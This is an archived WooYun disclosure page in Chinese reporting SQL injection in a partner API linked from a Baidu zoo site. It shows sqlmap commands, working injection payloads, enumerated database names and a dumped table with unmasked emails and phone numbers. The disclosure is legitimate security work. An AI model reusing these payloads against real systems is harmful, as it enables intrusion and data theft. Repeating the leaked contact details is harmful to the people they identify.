当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-082596

漏洞标题:百度某分站存在SQL注射

相关厂商:百度

漏洞作者: kobin97

提交时间:2014-11-09 08:06

修复时间:2014-12-24 08:08

公开时间:2014-12-24 08:08

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-11-09: 细节已通知厂商并且等待厂商处理中
2014-11-10: 厂商已经确认,细节仅向厂商公开
2014-11-20: 细节向核心白帽子及相关领域专家公开
2014-11-30: 细节向普通白帽子公开
2014-12-10: 细节向实习白帽子公开
2014-12-24: 细节向公众公开

简要描述:

百度某分站?合作商厂?ROOT 权限

详细说明:

百度动物园
http://zoo.baidu.com/video.html?id=10
ajax请求
http://dev.benbun.com/web/zoo2/zoo2api.php?callback=jQuery11110088873148465349_1415455233719&fun=get_all&vid=10&_=1415455233720
vid 存在SQL注射。
http://dev.benbun.com 也是你们的logo,估计是合作商什么的。

漏洞证明:

root@kali:/usr/share/golismero/tools/sqlmap# python sqlmap.py -u "http://dev.benbun.com/web/zoo2/zoo2api.php?callback=jQuery11110088873148465349_1415455233719&fun=get_all&vid=10&_=1415455233720" -p vid --dbms=mysql --dbs
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 09:37:48
[09:37:49] [INFO] testing connection to the target URL
[09:37:49] [INFO] heuristics detected web page charset 'ascii'
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: vid
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: callback=jQuery11110088873148465349_1415455233719&fun=get_all&vid=10 AND 5861=5861&_=1415455233720
Type: UNION query
Title: MySQL UNION query (NULL) - 3 columns
Payload: callback=jQuery11110088873148465349_1415455233719&fun=get_all&vid=10 UNION ALL SELECT NULL,CONCAT(0x7175657771,0x6259686e5a6776497172,0x7172716c71),NULL#&_=1415455233720
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: callback=jQuery11110088873148465349_1415455233719&fun=get_all&vid=10 AND SLEEP(5)&_=1415455233720
---
[09:37:49] [INFO] testing MySQL
[09:37:50] [INFO] confirming MySQL
[09:37:51] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.5.14, Nginx
back-end DBMS: MySQL >= 5.0.0
[09:37:51] [INFO] fetching database names
available databases [19]:
[*] bd******
[*] co******
[*] cr******
[*] du******
[*] ec******
[*] information_schema
[*] ji******
[*] li******
[*] mysql
[*] pa******
[*] po******
[*] st******
[*] te******
[*] wo******
[*] xi******
[*] yi******
[*] yi******
[*] zo******
[*] zo******


Database: zoo2
Table: join
[3 entries]
+----+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+---------------------------------------------------------------------------------------------------------------------------------------+------------------+--------------------------------------------+-----------------------+-------------+
| Id | info | dongw | email | agency | account | contact |
+----+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+---------------------------------------------------------------------------------------------------------------------------------------+------------------+--------------------------------------------+-----------------------+-------------+
| 12 | ****** | ****** | wumorton@163.com | ****** | 13912024222 |
| 7 | ****** | ****** | 32305203@qq.com | ****** | ****** | 15196676617 |
| 11 | ****** | ****** | wumorton@163.com | ****** | ****** | 13912024222 |
+----+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+---------------------------------------------------------------------------------------------------------------------------------------+------------------+--------------------------------------------+-----------------------+-------------+


修复方案:

你们懂得。

版权声明:转载请注明来源 kobin97@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:1

确认时间:2014-11-10 10:31

厂商回复:

非百度站点,已联系第三方合作商修复

最新状态:

暂无


漏洞评价:

评论

  1. 2014-11-09 08:09 | 天地不仁 以万物为刍狗 ( 普通白帽子 | Rank:977 漏洞数:264 | 天地本不仁 万物为刍狗)

    。。。。这是集体日百度的节奏????

  2. 2014-11-10 10:31 | 孤月寒城 ( 路人 | Rank:0 漏洞数:1 )

    关注的白帽子 kobin97 发表了漏洞 百度某分站存在SQL注射